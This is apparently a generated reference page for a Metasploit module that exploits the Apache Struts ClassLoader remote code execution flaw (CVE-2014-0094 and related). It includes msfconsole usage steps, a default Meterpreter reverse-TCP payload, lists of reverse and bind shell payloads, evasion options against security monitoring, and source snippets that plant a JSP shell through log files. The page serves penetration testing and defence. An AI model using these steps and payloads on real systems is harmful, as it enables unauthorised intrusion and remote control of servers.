Apache Struts ClassLoader Manipulation Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/http/struts_code_exec_classloader metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Apache Struts ClassLoader Manipulation Remote Code Execution
Module: exploit/multi/http/struts_code_exec_classloader
Source code: modules/exploits/multi/http/struts_code_exec_classloader.rb
Disclosure date: 2014-03-06
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-0094, CVE-2014-0112, CVE-2014-0114

This module exploits a remote command execution vulnerability in Apache Struts versions 1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due to the ParametersInterceptor. Both allow access to 'class' parameter that is directly mapped to getClass() method and allows ClassLoader manipulation. As a result, this can allow remote attackers to execute arbitrary Java code via crafted parameters.

Module Ranking and Traits


Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/http/struts_code_exec_classloader
msf exploit(struts_code_exec_classloader) > show targets
    ... a list of targets ...
msf exploit(struts_code_exec_classloader) > set TARGET target-id
msf exploit(struts_code_exec_classloader) > show options
    ... show and set options ...
msf exploit(struts_code_exec_classloader) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage


Here is how the multi/http/struts_code_exec_classloader exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/struts_code_exec_classloader

[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/struts_code_exec_classloader) > show info

       Name: Apache Struts ClassLoader Manipulation Remote Code Execution
     Module: exploit/multi/http/struts_code_exec_classloader
   Platform: Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2014-03-06

Provided by:
  Mark Thomas
  Przemyslaw Celej
  Redsadic <[email protected]>
  Matthew Hall <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Java
  1   Linux
  2   Windows
  3   Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)

Check supported:
  No

Basic options:
  Name            Current Setting                           Required  Description
  ----            ---------------                           --------  -----------
  Proxies                                                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT           8080                                      yes       The target port (TCP)
  SMB_DELAY       10                                        yes       Time that the SMB Server will wait for the payload request
  SRVHOST         0.0.0.0                                   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT         445                                       yes       The local port to listen on.
  SSL             false                                     no        Negotiate SSL/TLS for outgoing connections
  STRUTS_VERSION  2.x                                       yes       Apache Struts Framework version (Accepted: 1.x, 2.x)
  TARGETURI       /struts2-blank/example/HelloWorld.action  yes       The path to a struts application action
  VHOST                                                     no        HTTP server virtual host

Payload information:
  Space: 5000

Description:
  This module exploits a remote command execution vulnerability in 
  Apache Struts versions 1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In 
  Struts 1.x the problem is related with the ActionForm bean 
  population mechanism while in case of Struts 2.x the vulnerability 
  is due to the ParametersInterceptor. Both allow access to 'class' 
  parameter that is directly mapped to getClass() method and allows 
  ClassLoader manipulation. As a result, this can allow remote 
  attackers to execute arbitrary Java code via crafted parameters.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-0094
  https://nvd.nist.gov/vuln/detail/CVE-2014-0112
  https://nvd.nist.gov/vuln/detail/CVE-2014-0114
  http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/
  http://struts.apache.org/release/2.3.x/docs/s2-020.html
  http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204
  https://github.com/rgielen/struts1filter/tree/develop

Module Options


This is a complete list of options available in the multi/http/struts_code_exec_classloader exploit:

msf6 exploit(multi/http/struts_code_exec_classloader) > show options

Module options (exploit/multi/http/struts_code_exec_classloader):

   Name            Current Setting                           Required  Description
   ----            ---------------                           --------  -----------
   Proxies                                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           8080                                      yes       The target port (TCP)
   SMB_DELAY       10                                        yes       Time that the SMB Server will wait for the payload request
   SRVHOST         0.0.0.0                                   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         445                                       yes       The local port to listen on.
   SSL             false                                     no        Negotiate SSL/TLS for outgoing connections
   STRUTS_VERSION  2.x                                       yes       Apache Struts Framework version (Accepted: 1.x, 2.x)
   TARGETURI       /struts2-blank/example/HelloWorld.action  yes       The path to a struts application action
   VHOST                                                     no        HTTP server virtual host

Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Linux

Advanced Options


Here is a complete list of advanced options supported by the multi/http/struts_code_exec_classloader exploit:

msf6 exploit(multi/http/struts_code_exec_classloader) > show advanced

Module advanced options (exploit/multi/http/struts_code_exec_classloader):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FileDropperDelay                                                            no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SMBServerIdleTimeout    120                                                 yes       The maximum amount of time to keep an idle session open in seconds
   SMBServerMaximumBuffer  2                                                   yes       The maximum number of data in megabytes to buffer
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (linux/x86/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/struts_code_exec_classloader module can exploit:

msf6 exploit(multi/http/struts_code_exec_classloader) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Java
   1   Linux
   2   Windows
   3   Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/struts_code_exec_classloader exploit:

msf6 exploit(multi/http/struts_code_exec_classloader) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x86/chmod                                            normal  No     Linux Chmod
   6   payload/linux/x86/exec                                             normal  No     Linux Execute Command
   7   payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   8   payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   9   payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   10  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   11  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   12  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   13  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   14  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   15  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   16  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   17  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   18  payload/linux/x86/read_file                                        normal  No     Linux Read File
   19  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   20  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   21  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   22  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   23  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   24  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   25  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   26  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   27  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   28  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   29  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   30  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   31  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   32  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/struts_code_exec_classloader exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/struts_code_exec_classloader) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Not received response


Here is a relevant code snippet related to the "<PEER> - Not received response" error message:

153:	      # Now make a request to trigger payload
154:	      vprint_status("Countdown #{10-x}...")
155:	      res = dump_line(uri)
156:	
157:	      # Failure. The request timed out or the server went away.
158:	      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
159:	
160:	      # Success if the server has flushed all the sent commands to the jsp file
161:	      if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
162:	        print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
163:	        return true

<PEER> - No answer


Here is a relevant code snippet related to the "<PEER> - No answer" error message:

258:	      :suffix         => '.jsp',
259:	      :file_date_format => date_format
260:	    }
261:	    res = modify_class_loader(properties)
262:	    unless res
263:	      fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
264:	    end
265:	
266:	    # Check if the log file exists and has been flushed
267:	
268:	    unless check_log_file(normalize_uri(target_uri.to_s))

<PEER> - The log file hasn't been flushed


Here is a relevant code snippet related to the "<PEER> - The log file hasn't been flushed" error message:

264:	    end
265:	
266:	    # Check if the log file exists and has been flushed
267:	
268:	    unless check_log_file(normalize_uri(target_uri.to_s))
269:	      fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
270:	    end
271:	
272:	    register_files_for_cleanup(@jsp_file)
273:	
274:	    # Prepare the JSP

<PEER> - Missed answer while dumping JSP to logfile...


Here is a relevant code snippet related to the "<PEER> - Missed answer while dumping JSP to logfile..." error message:

281:	
282:	    uri = normalize_uri('/', random_request)
283:	
284:	    jsp.each_line do |l|
285:	      unless dump_line(uri, l.chomp)
286:	        fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
287:	      end
288:	    end
289:	
290:	    # Check log file... enjoy shell!
291:	    check_log_file(random_request)

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Mark Thomas
  • Przemyslaw Celej
  • Redsadic <julian.vilas[at]gmail.com>
  • Matthew Hall <hallm[at]sec-1.com>

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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